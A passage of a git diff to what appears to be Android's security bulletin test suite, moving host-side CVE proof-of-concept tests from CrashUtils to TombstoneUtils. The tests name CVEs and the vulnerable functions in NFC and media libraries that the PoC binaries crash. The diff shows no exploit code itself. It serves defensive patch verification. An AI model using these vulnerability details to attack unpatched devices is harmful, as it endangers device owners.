     public void testPocCVE_2018_9549() throws Exception {
         String binaryName = "CVE-2018-9549";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.config
                 .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index fdf85b7..0e0e2cf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -19,9 +19,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,10 +44,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String[] signals = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2018-9558";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index 1b4a4a7..926bd8c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,10 +43,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2012";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index b54d767..0327e03 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -37,9 +37,9 @@
     public void testPocCVE_2019_2014() throws Exception {
         pocPusher.only64();
         String binaryName = "CVE-2019-2014";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index bf46c60..388ac4c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,10 +43,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2015";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t3t_act_handle_check_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index b1a1b54..9a36d861 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,10 +43,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2019-2017";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index 9ea3846..baf4c63 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,15 +43,15 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2020";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "llcp_dlc_proc_rx_pdu"));
         testConfig.config
                 .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
-        testConfig.config.checkMinAddress(false);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index ad289bf..5eafc33 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,9 +36,9 @@
     @Test
     public void testPocCVE_2019_2027() throws Exception {
         String binaryName = "CVE-2019-2027";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.config
                 .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index dc94186..2476923 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,10 +43,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2019-2031";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t3t_act_handle_check_ndef_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 3d054f0..cffa74a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -40,9 +40,9 @@
         pocPusher.only32();
         String binaryName = "CVE-2020-0034";
         String inputFiles[] = {"cve_2020_0034.ivf"};
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.inputFiles = Arrays.asList(inputFiles);
         testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 83e6b7a..85cd75c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -38,7 +38,6 @@
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
-        testConfig.checkCrash = false;
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 8f285d0..cbf3ef1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,9 +44,9 @@
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String[] signals = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index a6609a4..f5189fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,10 +44,10 @@
         pocPusher.only32();
         String binaryName = "CVE-2020-0241";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
                         "android::NuPlayer::NuPlayerStreamListener::NuPlayerStreamListener"));
-        String signals[] = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         testConfig.config.setSignals(signals);
         testConfig.config.setAbortMessageIncludes(
                 AdbUtils.escapeRegexSpecialChars("Pure virtual function called"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 59c7370..f9cd2e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,8 +36,8 @@
     @AsbSecurityTest(cveBugId = 151644303)
     public void testPocCVE_2020_0243() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 524f2d6..6eb6bff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,9 +44,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0381";
         String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 5bdf017..f73d812 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,9 +44,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0383";
         String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 000e970..42505ca 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,9 +44,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0384";
         String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index b9ba127..6bbc89e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -44,9 +44,9 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String binaryName = "CVE-2020-0385";
         String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
         testConfig.config.setSignals(signals);
         testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index 15cdab5..4c9908f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -36,8 +36,8 @@
     @AsbSecurityTest(cveBugId = 170732441)
     public void testPocCVE_2021_0330() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("storaged");
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 71ce363..2190538 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -43,10 +43,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2021-0430";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_mfc_handle_read_op"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 90e65c2..77d178a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -37,7 +37,6 @@
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0473", getDevice());
-        testConfig.checkCrash = false;
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index 05aa43e..c96b27a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -30,10 +30,12 @@
     /**
      * b/173720767
      * Vulnerability Behavior: EXIT_VULNERABLE (113)
+     * Vulnerable library    : libmedia
+     * Is Play managed       : No
      */
     @Test
     @AsbSecurityTest(cveBugId = 173720767)
     public void testPocCVE_2021_0484() throws Exception {
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0484", null, getDevice());
+       AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0484", getDevice(), 300);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java
new file mode 100644
index 0000000..45a1905
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
